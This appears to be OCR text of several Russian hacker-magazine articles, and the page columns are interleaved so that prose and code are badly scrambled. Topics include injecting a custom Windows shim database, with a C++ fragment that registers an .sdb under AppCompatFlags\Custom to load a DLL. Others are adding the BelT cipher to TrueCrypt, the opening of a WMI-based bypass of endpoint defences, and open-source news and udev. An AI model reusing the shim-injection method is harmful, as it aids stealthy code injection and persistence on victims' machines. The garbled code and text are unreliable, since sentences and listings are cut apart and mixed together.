Если после этого запустить любое приложение (пусть это будет него свой (!) режим совместимости. То есть придется создать
блокнот, переименованный в test.exe) в режиме совместимости и внедрить в систему свою собственную базу шимов. Реше-
с, например, Windows 2000 и включить WinDbg, можно наблюдать ние о том, как это сделать, не лежит на поверхности. В ветке
любопытные логи. Например, такие: AppCompatFlags больше ничего интересного нет. Поэтому при-
дется копнуть немного глубже.
[INFO] [SeiSetLayerEnvVar] Env var set __COMPAT_LAYER="Win2000"
... ИЩЕМ СПОСОБ ВНЕДРЕНИЯ СВОЕЙ БАЗЫ ШИМОВ
[INFO] [SE_DllLoaded] INIT. loading DLL "AcLayers.DLL". Забегая вперед, скажу, что Shim Engine в основном реализо-
... ван в shimeng.dll и apphelp.dll, а базы шимов лежат в sysmain.
[MSG ] [SeiInit] Shim DLL 0x71660000 "C:\WINDOWS\AppPatch\ sdb и drvmain.sdb (в директории \WINDOWS\AppPatch), однако
AcLayers.DLL" loaded загрузкой стандартной dll шимов, парсингом базы и перехватом
[MSG ] [SeiInit] Using SHIM "Win2000VersionLie!AcLayers.DLL" функций занимается непосредственно загрузчик PE-модулей
... Windows. Тот самый, что сидит в ntdll.dll. Конечно, чтобы лучше
[INFO] [SeiInit] GetHookAPIs returns 3 hooks for DLL "C:\ понять, как внедрить свою базу, начать исследование лучше
WINDOWS\AppPatch\AcLayers.DLL" SHIM "Win2000VersionLie" всего с момента загрузки Shim Engine, а искать этот момент луч-
[MSG ] [SeiInit] Using SHIM "VirtualRegistry!AcLayers.DLL" ше всего с начала работы системного загрузчика, а системный
[MSG ] [SeiInit] Command line for Shim "VirtualRegistry" : загрузчик начинает работу с apc-диспетчера.
"WIN2K" Но мы не будем закапываться в такие недра и начнем с функции
[INFO] [SeiInit] GetHookAPIs returns 27 hooks for DLL "C:\ инициализации вышеупомянутого загрузчика PE-файлов:
WINDOWS\AppPatch\AcLayers.DLL" SHIM "VirtualRegistry"
[MSG ] [SeiInit] Using SHIM "DuplicateHandleFix!AcLayers.DLL" _LdrpInitializeProcess:
[INFO] [SeiInit] GetHookAPIs returns 1 hooks for DLL "C:\ .text:7C921B36 mov eax, large fs:18h ; TEB
WINDOWS\AppPatch\AcLayers.DLL" SHIM "DuplicateHandleFix" .text:7C921B3C mov ebx, [eax+30h] ; PEB
[INFO] [SE_DllLoaded] INIT. loading DLL "AcGenral.DLL". ...
... .text:7C921B62 lea eax, [ebx+1E8h] ; peb->pShimData
[MSG ] [SeiInit] Using SHIM "LoadLibraryCWD!AcGenral.DLL" .text:7C921B68 mov ecx, [eax]
[INFO] [SeiInit] GetHookAPIs returns 0 hooks for DLL "C:\ ...
WINDOWS\AppPatch\AcGenral.DLL" SHIM "LoadLibraryCWD" .text:7C921B87 mov [ebp+var_104], ecx
[MSG ] [SeiInit] Using SHIM "Win2kPropagateLayer!AcLayers.DLL" ...
[INFO] [SeiInit] GetHookAPIs returns 3 hooks for DLL "C:\ loc_7C921693:
WINDOWS\AppPatch\AcLayers.DLL" SHIM "Win2kPropagateLayer"
...
Из них видно, что загру зился с лой Win2000, а так же .text:7C921693 mov edi, [ebp+var_104]
с тандартная shim dll – C:\WINDOWS\ AppPatch\ AcLayers.DLL. .text:7C921699 xor esi, esi
Пос ле этого произошло извлечение и применение шимов, .text:7C92169B cmp edi, esi
таких как Vir tualRegistr y, DuplicateHandleFix и так далее, .text:7C92169D jz loc_7C923CD0
а затем у же перехват функций (перехватов много, логи ; если первый ULONG в peb->pShimData == 0,
поскипаны).В реестре тем временем сформировалась следующая ; то прыгаем (в случае включенного шима
запись: ; совместимости прыжка не происходит)
s = idautils.Strings( False )
s.setup( strtypes = Strings.STR_UNICODE | Strings.STR_C )
for i, v in enumerate( s ):
if v is None:
print( "Failed on %d" % i )
else:
print( "%x => %s" % ( v.ea, str( v ) ) )
АВТОМАТИЗИРУЕМ ПРОЦЕСС
Теперь напишем программу, которая будет все автоматически де-
лать за нас, то есть записывать в реестр базу шимов и копировать
саму базу и dll к ней в системную папку (все проверки поскипаны,
полный вариант см. на диске):
#include <windows.h>
#include <iostream>
BOOL RegisterShimDll()
{
Dll успешно внедрена
HKEY key;
BOOL funcResult = FALSE;
wchar_t dbPath[] = L"C:\\Windows\\AppPatch\\Custom\\"
GUID L".sdb"; KEY_WRITE, NULL, &key, NULL);
DWORD dbType = 0x10000;
DWORD64 sdb = 0x1cc8828b2208e82; RegSetValueEx(key, L"DatabasePath", 0,
REG_SZ, (BYTE*)dbPath, sizeof(dbPath));
// создаем подраздел Custom в AppCompatFlags RegSetValueEx(key, L"DatabaseType", 0, REG_DWORD,
RegCreateKeyEx(HKEY_LOCAL_MACHINE, (PBYTE)&dbType, sizeof(DWORD));
SHIM_REGKEY L"\\Custom", 0, NULL, RegCloseKey(key);
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
&key, NULL); return TRUE;
RegCloseKey(key); }
TRUE-
криптование
ДОБАВЛЯЕМ ПОДДЕРЖКУ
СВОИХ АЛГОРИТМОВ
В TRUECRYPT
Наверняка все, кто когда-либо сталкивался
с задачей создания шифрованного контейнера,
знают о существовании программы TrueCrypt.
Простота использования, высокая скорость
работы, открытые исходники и широкие
функциональные возможности сделали этот
шифровальщик одним из самых популярных
в мире. Сегодня речь пойдет о том, как
переделать его под себя.
ПОДГОТОВКА К РАБОТЕ
Прежде чем приступать к реализации нового алгоритма шифро-
вания, подготовим все, что нужно для сборки. В первую очередь
нам понадобятся исходники программы, которые можно скачать
с официального сайта разработчика truecrypt.org (я использовал
исходники версии 7.0a). В качестве среды разработки будем ис-
Главное окно программы TrueCrypt пользовать MS Visual Studio 2010 (несмотря на то, что разработчики
void belt_encrypt
(
unsigned __int8 *ks,
unsigned __int8 * inBlock,
unsigned __int8 * outBlock
Результаты бенчмарка TrueCrypt
);
Реализация данной функции приведена на рисунке. В целом оставить возможность использования нашего алгоритма для
программная реализация шифрования одного блока не вызы- шифрования системы в целом. Также объявим константу, опреде-
вает проблем — блок делится на четыре значения типа DWORD, ляющую размер key schedule нашего алгоритма (как помнишь, я
над которыми в течение восьми раундов проводятся операции специально сделал так, чтобы он совпадал с основным ключом, то
наложения подстановки, сдвига, сложения и так далее. И соз- есть был равен 32 байтам):
дание программной реализации алгоритма BelT не сложнее
программирования известного алгоритма ГОСТ28147-89. На #define BELT_KS 32
данном этапе все готово к встраиванию алгоритма в программу
TrueCrypt. Далее в файле находим строку вида #ifdef TC_WINDOWS_BOOT_
SINGLE_MODE. В данном макросе указывается максимальный
МОДИФИКАЦИЯ TRUECRYPT размер key shedule при компиляции загрузчика, поддерживающего
Итак, первым делом открываем в MSVS 2010 солюшн с TrueCrypt всего один алгоритм шифрования. В конце макроса добавляем
и находим проект Crypto, который содержит исходные тексты всех пару строк:
алгоритмов шифрования, используемых в программе. В этот проект
мы добавляем файлы с реализованным нами алгоритмом BelT. Да- #elif defined(TC_WINDOWS_BOOT_BELT)
лее в любом проекте (например, Mount) открываем заголовочный #define MAX_EXPANDED_KEY BELT_KS
файл Crypto.h и находим перечисление вида: #endif
Блочный алгоритм шифрования BelT, описанный в стандарте СТБ Алгоритм состоит из восьми раундов, общая схема каждого раунда
34.101.31-2011, появился на свет относительно недавно, и в настоящий представлена на рисунке. Блок данных в 128 бит разбивается на четыре
момент принят в качестве стандарта в Белоруссии. Belt работает 32-битных значения, с которыми и ведется работа. На рисунке буквой
с блоками длиной 128 бит и использует ключи длиной 128, 192 или 256 K с индексом обозначаются раундовые подключи, которых целых 56
бит. штук. Вырабатываются раундовые ключи из основного 256-битного
Конструктивно алгоритм слегка напоминает ГОСТ 28147-89 — ключа (k[1],..., k[8]) очень просто:
в обоих случаях раундовые ключи «вводятся» путем суммирования
по модулю 2^32, после чего применяется блок подстановки (таблицы K[1]=k[1], ..., K[8]=k[8], K[9]=k[1], ..., K[56]=k[8]
замены в ГОСТ) и осуществляется сдвиг результата на некоторое число
позиций в сторону старших разрядов. Однако есть и существенные то есть путем семикратного копирования.
различия: ГОСТ построен на основе сети Фейстеля, а в конструкции Belt Отсчет раундов алгоритма ведется с 1, номер раунда хранится
применяется SP-сеть. в переменной i. Операция G состоит из преобразования 32-разрядного
Как видишь, в алгоритме для преобразования информации значения при помощи блока подстановки H и циклического сдвига
применяются простые и легко реализуемые операции: сложение по полученного значения на определенное число разрядов влево. В целом
модулю 2^32, XOR, циклический сдвиг и замена. схема алгоритма довольно проста для программной реализации.
Первым элементом структуры Cipher является идентификатор в стандарте СТБ 34.101.31 (проверка корректной работы алгоритма
алгоритма, далее идет текстовая строка с его названием, тре- шифрования), а также путем шифрования блока данных в режиме
тий элемент — размер блока алгоритма в байтах, далее раз- XTS, подсчета CRC32 от полученного шифрованного текста и срав-
мер ключа и размер key shedule соответственно. Далее следует нения значения контрольной суммы с эталоном. В этот раз опять
внести коррективы в массив EncryptionAlgorithms[] структур отправляю тебя смотреть исходники на диске, так как в програм-
EncryptionAlgorithm. Данный массив инициализируется по-разному мировании механизма самотестирования в действительности нет
в зависимости от того, определен ли TC_WINDOWS_BOOT, и нам ничего интересного.
необходимо внести правки в обе его части. В массив добавляем
строку (вторая часть массива изменяется аналогично): ПАРА СЛОВ О ГОСТ28147-89
В чистом виде данный алгоритм добавлять в TrueCrypt нельзя,
{{ BELT, 0 }, {XTS, 0, 0, 0}, 1} так как используемая в нем программная реализация режима
XTS предполагает, что алгоритм шифрования работает с блоками
В данной структуре первым элементом является список исполь- длиной 128 бит, в то время как длина блока алгоритма ГОСТ — 64
зуемых алгоритмов (могут использоваться несколько алгоритмов бита. Как ты уже догадался, это приведет к тому, что половина
подряд), затем задается режим работы шифра — в данном случае данных окажется в открытом виде. Есть вариант использовать
указываем XTS (описание данного режима работы смотри на ГОСТ два раза, то есть блок в 128 бит разбивать на два 64-бит-
врезке), а последнее значение является индикатором того, устарел ных блока и каждый из них отдельно шифровать при помощи
ли алгоритм или нет (устаревшие алгоритмы используются для ГОСТ, однако данный путь также неприемлем (предлагаю тебе
обратной совместимости со старыми версиями TrueCrypt). Вторую самому подумать, почему). В исходники на диске добавлена
часть массива структур правим аналогичным образом. поддержка ГОСТ в случае, когда шифруется половина блока,
Далее переходим к изменению функции CipherInit, которая, а половина — остается незашифрованной. Ясно, что данный
как видно из названия, производит инициализацию алгоритма функционал нельзя использовать для защиты конфиденциаль-
шифрования. В ходе работы этой функции осуществляется key ных данных!
schedule шифра, поэтому смело добавляем в нее код, отвечающий
за инициализацию нашего алгоритма: ИСХОДНИКИ
Лицензия TrueCrypt налагает некоторые ограничения на исполь-
case BELT: зование кода — при его модификации необходимо обязательно
belt_init(key, ks); убрать все логотипы с названием TrueCrypt, название модифи-
break; цированной программы не должно содержать строку «truecrypt»,
а также должны быть убраны все ссылки на сайт truecrypt.org (за
Аналогичным образом модифицируем функции EncipherBlock исключением окна «О программе»). В связи с этим, а также из
(отвечает за шифрование одного блока открытого текста), уважения к разработчикам, в исходниках на диске все упоминания
DecipherBlock (отвечает за расшифровку блока). Кроме того, не- о TrueCrypt изменены на PlainCrypt, а все ссылки ведут на http://
обходимо подправить некоторые макросы (смотри в исходниках localhost/.
на диске), чтобы можно было осуществлять шифрование системы Также хочу отметить, что у пользователей Win7/Vista версии x64
алгоритмом Belt. возникнут проблемы с установкой неподписанных драйверов. Что-
После внесенных изменений осталось, по сути, сделать три бы заставить драйверы работать корректно, необходимо подписать
вещи — немного поменять настройки проектов, добавить поддерж- их тестовой ЭЦП, а также включить специальный тестовый режим.
ку наших алгоритмов в механизм самотестирования TrueCrypt, Подробная инфа о том, как это сделать, есть как на сайте Microsoft,
а также добавить в ресурсы файлы bootloader’a с поддержкой так и в свободном доступе в интернете.
BelT. С правкой настроек проектов и ресурсов я предлагаю тебе
справиться самостоятельно или посмотреть, как это сделано HAPPY END
в исходниках на диске (там нет ничего сложного). Что же касается Вот, собственно, и все. Теперь, немного напрягшись, ты можешь
механизма самотестирования, то тут проверка осуществляется поставить себе на службу отличную шифровалку со своими соб-
двумя способами: при помощи тестовых векторов, определенных ственными криптографическими алгоритмами. z
Задачи на
собеседованиях
В СЛЕДУЮЩЕМ ВЫПУСКЕ
1. Что будет выведено в результате исполнения программы? Почему? class Bar: Foo
{
class A: public:
def __init__(self, name): Bar(int j) { i=new char[j]; }
self.name = name ~Bar() { delete i; }
def __del__(self): private:
print self.name, char* i;
};
aa = [A(str(i)) for i in range(3)]
for a in aa: void main()
del a {
Foo* f=new Foo(100);
print 'done' Foo* b=new Bar(200);
*f=*b;
# ... delete f;
delete b;
2. Перечисли все проблемы, которые ты видишь в данном коде: }
class Foo 3. У тебя есть файл (например, access-лог web-сервера) очень большого
{ размера. Пользователи часто запрашивают из него строчки по их
public: номеру. Нужно реализовать функцию, которая бы возвращала строчку
Foo(int j) { i=new int[j]; } с произвольным номером за время, независимое от номера строчки и
~Foo() { delete i; } размера файла.
private:
int* i; 4. Напиши функцию сортировки массива чисел. Если знаешь несколько
}; способов – используй наиболее быстрый из известных тебе алгорит-
мов.
примерно так:
У нас есть класс Parser, который имеет основной метод void getDataOnPage()
parsePage(). Этот метод будут вызывать клиенты парсера. {
Сам parsePage() реализует алгоритм, описанный выше. Для // ...
удобства восприятия мы разбили код метода на функции, такие }
как getNextUrl() и getTopicText(). Некоторые могут сказать, что string getNextUrl()
лишние вызовы замедляют работу программы, но, во-первых, {
это всего лишь псевдокод (грубо говоря, блок-схема буквами), // ...
а во-вторых, такое разбиение нам пригодится в будущем. }
}
ПАРСИМ НЕСКОЛЬКО САЙТОВ
Наш парсер работает, и все вроде хорошо, но мы не учли одну Как видишь, у нас есть все тот же метод parsePage(), который
маленькую деталь — сайт для сбора информации у нас не один, выполняет основную работу. Так как мы знаем, что такое на-
их несколько. Это нас, правда, не сильно расстроило, и мы при- следование, полиморфизм и прочее, то решаем все это круто
нялись ваять еще один класс. оптимизировать, создав общего родителя для двух классов пар-
Так как алгоритм, описанный нами ранее, остался прежним, серов. Теперь вся наша конструкция выглядит примерно так:
а изменились лишь детали реализации, — например, получение
ссылки на следующую страницу, — то код нашего нового класса Иерархия классов парсеров
будет очень похож на тот, что был в предыдущем. class BaseParser
{
Парсер для еще одного сайта // ..
class ParserSite2 public:
{ virtual void parsePage(string url) = 0;
// .. }
public:
void parsePage(string url) class ParserSite1: public BaseParser
{ {
while (url != "") public:
{ void parsePage(string url)
// получаем нужные данные со страницы {
getDataOnPage(); while (url != "")
{
// ищем ссылку на следующую страницу // получаем нужные данные со страницы
url = getNextUrl(); getTopicText();
}
} // ищем ссылку на следующую страницу
url = getNextUrl();
private: }
// метод по назначению идентичен }
Parser::getTopicText private:
// ... ЗАКЛЮЧЕНИЕ
} На практике паттерн «Шаблонный метод» имеет множество
} вариаций. Многие из программистов сами того не зная реализо-
вывали этот паттерн в том или ином виде. Но основной принцип
protected: остается неизменным: «Шаблонный метод» определяет «ске-
// перехватчик лет» алгоритма в методе, оставляя определение реализации
virtual bool stopHook() {return false;}; некоторых шагов субклассам. Субклассы же, в свою очередь,
// .. могут переопределять некоторые части алгоритма без измене-
} ния его структуры. z
От метода stopHook() зависит, будет ли цикл работать дальше или
WMI:
обход
защит
НЕОЖИДАННЫЙ ВЗГЛЯД
НА ПРИВЫЧНЫЕ ВЕЩИ
Как это часто бывает, самое интересное оговорим о Windows Management Instrumentation (WMI),
и увлекательное просто валяется П но с несколько непривычной точки зрения. Собственно, ][
уже писал на эту тему — как можно приспособить средства
под ногами. Сегодня мы рассмотрим WMI для своих нужд (xakep.ru/magazine/xa/118/030/1.asp). Будем
возможность обхода проактивных защит при считать эту статью продолжением написанного ранее.
Const SW_NORMAL = 1
Const SW_HIDE = 0
strComputer = "."
strCommand = "notepad.exe"
Новые
времена
требуют
перемен
Мир OpenSource привлекает
своей динамикой.
В нем постоянно что-то
происходит: системы,
концепции, стандарты
сменяют друг друга
с бешеной скоростью,
причем с каждым годом
темп только увеличивается.
Об основных актуальных
направлениях развития
свободных решений мы
сегодня и поговорим.
ОПИСАНИЕ ТЕХНОЛОГИЙ
БЛИЖАЙШЕГО БУДУЩЕГО,
ИДУЩИХ НА СМЕНУ
ТЕХНОЛОГИЯМ ДНЯ
ВЧЕРАШНЕГО Однооконный режим в Gimp 2.8
X: REVOLUTION клиент (оверхед при этом обещает быть не Journal, который появился в релизе systemd
Wayland — это протокол и его демонстрацион- очень большим). 38. Модуль предоставляет функциональность,
ная реализация (на C, объем кода составляет Не то чтобы Wayland совсем новый проект аналогичную syslog, но с некоторыми особен-
менее 10 000 строк, лицензия — MIT), идущий (разработка ведется с 2008 года), но велика ностями. Для начала разработчики отмечают
на смену ни много ни мало X-серверу! Основ- вероятность, что через пару-тройку лет он ока- у старичка syslog, которому уже около тридца-
ная причина — X устарел: его архитектура на жется во всех десктопных и мобильных линук- ти лет, целый список недостатков.
сегодняшний день неактуальна, а код сложно сах. Благо, первый стабильный релиз 1.0 уже не • При приеме сообщений в syslog отсутствует
поддерживать. за горами —возможно даже, что он увидит свет какая-либо аутентификация отправителя:
Главная особенность Wayland — объеди- до момента выхода данного номера в печать. если процесс представится, что он mysql на
нение в один элемент (Wayland Compositor порту 10000, то так и будет записано.
или Wayland Server) того, что в архитектуре X KMOD: EVOLUTION • Отсутствует утвержденный формат, в кото-
было, собственно, X-сервером, композитором В конце прошлого года несколько известных ром логируются данные. Это сильно затруд-
и менеджером окон. Wayland Compositor имеет разработчиков из RedHat написали открытое няет парсинг логов и вынуждает изменять
пока единственную реализацию — Weston, письмо, в котором перечислили возможности, скрипты парсинга при любых изменениях
которую создают разработчики протокола которые они хотели бы реализовать в ядре вывода в лог в программах.
Wayland. В недалеком будущем ожидается под- Linux и низкоуровневых утилитах, если бы у них • В записях отсутствует информация о часо-
держка Wayland у Compiz и Kwin. При этом все было на это время: goo.gl/RWgbf. Прошло не- вом поясе.
операции по рендерингу окна будет выполнять сколько месяцев, и одна из «хотелок» увидела • Syslog — лишь одна из многих систем жур-
Wayland Client (то есть само приложение). Это свет под именем kmod. Представляет собой налирования, работающих в Linux: есть еще
позволит избавиться от ошибок рендеринга замену module-init-tools (пакета, содержащего utmp/wtmp/btmp, lastlog, логи ядра, а также
изображений, возникающих в X Server, а также утилиты для управления модулями ядра: lsmod, логи всевозможных приложений. Когда логи
уменьшить время отрисовки изменений. Еще modprobe, rmmod и другие), основное преиму- так раскиданы по системе, сложно искать
одним плюсом является возможность работы от щество — использование библиотеки libkmod, связи между событиями в них.
имени непривилегированного пользователя. которая также может использоваться в любых • Так как в логах отсутствует какая-либо
Так как Wayland завязан на такие штуки, приложениях (лицензия — LGPLv2 и старше). индексация, их чтение очень неэффективно
как Direct Rendering (DRI), KMS (Kernel Mode Первое подобное приложение — udev. Раньше (при поиске приходится перебирать все
Setting) и GEM (Graphics Execution Manager), при загрузке несколько сотен раз вызывалась строчки).
то бегать он может только поверх Linux и пока внешняя утилита modprobe (и при этом не всег- • Сетевой протокол syslog прост в реализа-
только со свободными драйверами для видео- да успешно — могло оказаться, что модуль уже ции, но очень ограничен: в частности, никак
карт Intel, Radeon и Nouveau. загружен), а использование libkmod помогло не гарантирует доставку.
Одной из часто критикуемых вещей в но- существенно снизить накладные расходы на • Из логов легко удалять данные, чем часто
вом протоколе является отсутствие сетевой чтение файла конфигурации и построение пользуются при взломе для заметания сле-
подсистемы (наподобие той, что с незапамят- списка доступных модулей при каждом вызове. дов.
ных времен была в X11). Эта критика не совсем Уменьшение времени загрузки при переходе • Ограниченные средства контроля доступа:
оправдана — просто сам протокол Wayland на новый udev заметно даже на глаз. Кроме пользователь или имеет доступ ко всем за-
не включает в себя описания реализации udev, с kmod возможно скоро научится работать писям в логе, или не имеет их вообще.
сетевой подсистемы, но это не мешает реа- systemd. Arch Linux, как обычно, впереди пла- • Практически полностью отсутствует воз-
лизовать сетевое взаимодействие на уровне неты всей и с января этого года уже использует можность сохранения метаданных записи.
композитора. kmod версии 4. В экспериментальном репозито- • Ротация логов тоже не совершенна: она не
Поддержка (правда, пока весьма ограни- рии Debian также присутствует kmod версии 3. учитывает оставшееся на разделе место и не
ченная) Wayland уже есть во многих проектах: умеет динамически менять интервалы, что
Qt, GTK, EFL (Enlightenment Foundation Library), SYSLOG: DESTRUCTION позволяет проводить DoS-атаки.
Clutter, SDL. Приложения, не использующие Systemd — система инициализации (замена • Компрессия поддерживается только после
ни один из этих тулкитов (а таких не очень для SysVinit и Upstart), которая используется ротации.
много),тоже поддерживаются — достаточно во все большем количестве дистрибутивов. Но • Невозможность сохранения бинарных дан-
просто запустить X.Org-сервер как Wayland- речь пойдет не о ней, а о модуле под названием ных типа coredump.
НАВИСШАЯ УГРОЗА
UEFI (Unified Extensible Firmware Interface) — грядущая замена уже предустановленной. Да и запустить самостоятельно собранное ядро
порядком устаревшему BIOS, которая представляет из себя скорее уже не получится (привет пользователям Gentoo), — точнее, получится,
мини-ОС со своими драйверами, сетевым стеком, интерфейсом но ядро надо будет подписать собственным ключом, а его открытую
с поддержкой мыши, локализации и многим другим. Плюсов от часть как-то залить в хранилище ключей UEFI. Red Hat, Canonical
внедрения UEFI много, начиная с (как ни странно) возросшей скорости и Linux Foundation отреагировали на это нововведение составлением
загрузки и заканчивая нэйтивной поддержкой нового формата своих рекомендаций к конечной реализации, а FSF — петицией
разбиения дисков GPT (не имеющего ограничений MBR). Но и минусов к производителям оборудования, в которой secure boot называется
у UEFI тоже предостаточно. Основной на сегодняшний день – это баги. restricted boot (в случае некорректной реализации).
Размер дерева исходников UEFI занимает около 35 Мб (для сравнения, Кроме проблем, связанных с ключами, есть еще проблема
Linux без драйверов весит 30 Мб), спецификация в текстовом виде с загрузчиком, — самый популярный на сегодняшний день Grub2
— больше 2 200 страниц. И весь этот огромный объем кода еще не распространяется по GPLv3, в которой есть пункт против тивоизации,
достаточно тщательно оттестирован — баги всплывают достаточно требующий публиковать ключ в случае подписывания бинарника.
часто. Предыдущая версия — Grub Legacy — в основном распространяется под
Новая неоднозначная фича UEFI, которая войдет в спецификацию GPLv2, но некоторые вспомогательные скрипты — под GPLv3.
версии 2.3.1, — secure boot. Если не вдаваться в подробности, то Матплаты с UEFI и поддержкой secure boot могут появиться в продаже
технологию можно описать следующим образом: весь код (точнее, уже в этом году — возможно, скоро придется учитывать этот аспект
его SHA-256 хэш), работающий с железом напрямую (драйвера, ядро, при выборе железа. Проблема становится еще более реальной, так
загрузчик) должен быть подписан одним из нескольких специальных как в соответствии с требованиями Microsoft для того, чтобы наклеить
ключей (RSA, 2048 бит), открытая часть которых хранится в прошивке на системник/ноут заветную наклейку «Compatible with Windows 8»,
матплаты. Неподписанный (или подписанный не тем ключом) код производитель будет обязан включить опцию «Secure Boot». К тому же
исполняться не будет. Теоретически штука хорошая — эффективное рекомендуется предусмотреть механизм для добавления собственных
средство против малвари, выполняющейся до загрузки ОС (например, ключей. А для систем на базе ARM — еще и обязательно отсутствие
живущей в MBR). Но с другой стороны, в зависимости от реализации кнопки отключения secure boot. Но это не повод для паники: многие
может стать существенно сложнее или (что тоже не исключено) производители (в числе первых — HP и Dell) сообщили, что обеспечат
вовсе невозможно установить альтернативную ОС, отличную от во всех своих новых продуктах возможность отключить secure boot.
в которой чтобы выбрать определенный пункт, НЕ ВЗЛЕТЕЛИ N810 и N900 начиная с 2005 года) и Moblin
нужно написать его название в специальном Новые технологии приходят на смену старым от Intel (разрабатывался с 2007 года). В 2010
поле. Если результатов поиска несколько, постоянно, но не все из них успешны и находят году Nokia и Intel объединили свои усилия для
то выбранный вариант запоминается — так свое место под солнцем. Из примеров по- работы над новым дистрибутивом — Meego,
система подстраивается под конкретного следнего времени мне особенно запомнились который должен был взять все лучшее от
пользователя. В дальнейшем планируется несколько. Maemo и Moblin. Проект обещал быть пер-
интеграция голосового поиска. Не стоит пере- Nftables — замена iptables/netfilter. Плюсы: спективным, заинтересованность выразили
живать, что классические меню уберут, HUD более гибкий и расширяемый ABI, отсут- около тридцати крупных компаний мирового
пока не замена им, а всего лишь приятное ствие дублирования кода (iptables, arptables уровня, управление проектом перешло в руки
дополнение. Описать такую штуку непро- и ebtables — по сути, копии одного и того Linux Foundation. После выпуска смартфона
сто, нужно попробовать самому. Благо, это не же кода), нет необходимости перезагрузки N9 Nokia потеряла интерес к Meego, сосредо-
сложно, — HUD должен быть интегрирован уже всех правил при каждом изменении (из-за точившись на Windows Phone. Чтобы дальше
в Ubuntu 12.04. чего терялось внутреннее состояние и все развивать проект, в конце прошлого года Linux
установленные соединения). Концепция вы- Foundation объединила свои наработки с LiMo
НОВОСТИ ОДНОЙ СТРОКОЙ глядела многообещающе (подробнее можно (Linux Mobile) Foundation под новым именем
Кроме крупных изменений, которые долго посмотреть в ][ #127), но, видимо, этого было Tizen и основной концепцией приложений на
обкатываются, и о которых можно рассказать недостаточно, чтобы перевесить популяр- HTML5. Разработчики Meego, в свою очередь,
много интересного, в ближайшее время нас ность iptables. В Fedora, кстати, для борьбы со организовали форк — Mer. Не исключена
ждут и достаточно ощутимые изменения в раз- сбросом соединений при изменении правил возможность слияния Tizen и Samsung Bada.
личных узких областях. Про нх также хотелось сделали специальную прослойку – firewallD, Возможно, нас опять ждет новое имя для ОС,
бы упомянуть. — которая сохраняет свое состояние. В Fedora у которой уже было больше названий, чем
• IPv6. Давно не диковинка. Более того, благо- 17 этот динамический файрвол, скорее всего, работающих под ее управлением устройств на
даря заканчивающемуся пулу IPv4 и регу- будет использоваться по умолчанию. рынке.
лярно проводимому World IPv6 Day, IPv6 уже Второй пример подобного неудачного
достаточно широко используется. Новость проекта — дистрибутив Linux для мобильных НАДЕЕМСЯ И ВЕРИМ
заключается в реализации IPv6 NAT. Раз- и встраиваемых устройств от Linux Foundation. Во всех этих нововведениях я вижу только по-
личные патчи, реализующие эту функцио- Начиналась эта ОС с двух проектов: Maemo ложительные моменты. Надеюсь, они пройдут
нальность, конечно, существуют достаточно от Nokia (с ней поставлялись прародители испытание временем и не останутся на свалке
давно, но скоро мы увидим это в netfilter из современных планшетов Nokia 770, N800, истории. z
коробки.
• FIOPS (Fair Input/Output Operations Per
Second) — новый планировщик ввода/выво- INFO
да, предназначенный для работы с SSD. По • Тивоизация
принципу действия он похож на популярный — процедура,
реализующая
сейчас CFQ (и заимствует у него часть кода), невозможность
но учитывает такие свойства SSD, как вы- запуска на
сокие скорости чтения и записи, небольшие устройстве
модифицированной
задержки, различную «стоимость» чтения версии прошивки.
и записи, зависимость скорости выполнения Понятие пошло от
медиаплеера TiVo.
запроса от его размера. Наибольший отрыв
от CFQ новый планировщик показывает • utmp/wtmp/
в тестах со смешанным read/write профилем. btmp — файлы
в бинарном формате,
Код еще не протестирован, поэтому, думаю, в которых хранится
раньше, чем в Linux 3.5 мы его вряд ли уви- информация
дим. о текущих
пользователях
• ext4-snapshots — реализация снапшотов в системе, лог
для ext4 (по аналогии с теми, что есть в btrfs). всех входов/
выходов из системы
У снапшотов на уровне ФС довольно много и неудачных
Архитектура Wayland в сравнении с архитектурой X Server
плюсов перед снапшотами на базе LVM: нет попыток
необходимости заранее резервировать авторизации.
место под снапшот, даже при большом • Подробно
количестве снапшотов производительность о systemd можно
не сильно падает. Правда, не факт, что эти прочитать в ][ 148.
патчи попадут в ванильное ядро — патчи
со снапшотами для ext3 (NEXT3) от той же WWW
команды пока туда так и не вошли. • Достаточно
• В Gimp 2.8, релиз которого должен состоять- подробный FAQ по
wayland:
ся в первой половине этого года, наконец-то goo.gl/SNq3E.
появится долгожданный однооконный
интерфейс. • Планы по
разработке X12: goo.
• В скором времени большое количество gl/Mi23E.
OpenSource-шутеров сможет перейти на ис-
пользование движка id Tech 4, на базе кото-
рого построен Doom 3. Движок был недавно
открыт компанией Zenimax (спасибо Джону
Кармаку за замечательную традицию) под
GPLv3 (с небольшими поправками). Демонстрация работы Wayland. Пока в X.Org
ЗВЕНЬЯ
ОДНОЙ ЦЕПИ
РАЗБИРАЕМСЯ ВВЕДЕНИЕ
Строго говоря, sysfs — это только один из кирпичиков системы
умного управления оборудованием, появившейся в Linux в по-
С KOBJECTS, SYSFS, следние годы. Сама по себе эта файловая система практически
бесполезна и может дать желаемый результат только в сочетании
Команда «udevadm monitor» позволяет просмотреть события udev в режиме реального Результат выполнения команды «udisks --show-info /dev/sda»
времени
ему нужные права и назначая minor/major-номера. и именно поэтому ты можешь не заботиться о самостоятельном
Кроме различных низкоуровневых файлов, описывающих запуске нужных приложений. При подключении веб-камеры на
устройство (например, vendor — производитель, model — модель экране сразу появляется окно менеджера фотографий, а при
устройства), в sysfs есть и еще один очень важный файл modalias, подключении принтера происходит его автоконфигурирование.
содержащий строку вида "pci:v000010ECd00008139sv00001734sd Каждая среда использует свой набор приложений и сервисов
000010B8bc02sc00i00". Это уникальный идентификатор устрой- для взаимодействия с udev, но есть два инструмента, которые
ства, который используется udev для загрузки нужного модуля используют все, — это udisks и upower.
устройства. Он генерируется во время сборки ядра на основе кода
драйверов, каждый из которых содержит список идентификаторов UDISKS И UPOWER
поддерживаемых устройств. Этот список сохраняется в файл /lib/ Демоны udisks и upower представляют собой менеджеры дисков
modules/ВЕРСИЯ_ЯДРА/modules.alias, описывающий псевдоимена и питания соответственно. Изначально они были частью проекта
модулей для команды modprobe. Все что остается сделать udev DeviceKit, но когда многие компоненты последнего были перене-
для загрузки нужного драйвера, это выполнить команду modprobe сены в udev, стали отдельными проектами. Оба демона исполь-
с аргументом в виде содержимого файла modalias устройства. Ты зуют udev, sysfs и d-bus для получения информации о железе,
можешь попробовать сделать это сам: нотификаций о подключении дисков или изменении режима
питания и отправки этой информации вовне.
# modprobe pci:v000010ECd... Поначалу может показаться странным, что при наличии sysfs,
знающем о железе все, и udev, информирующем о «железных
Одно из самых важных качеств udev, отличающих его от событиях» весь остальной мир, нужны еще какие-то внешние
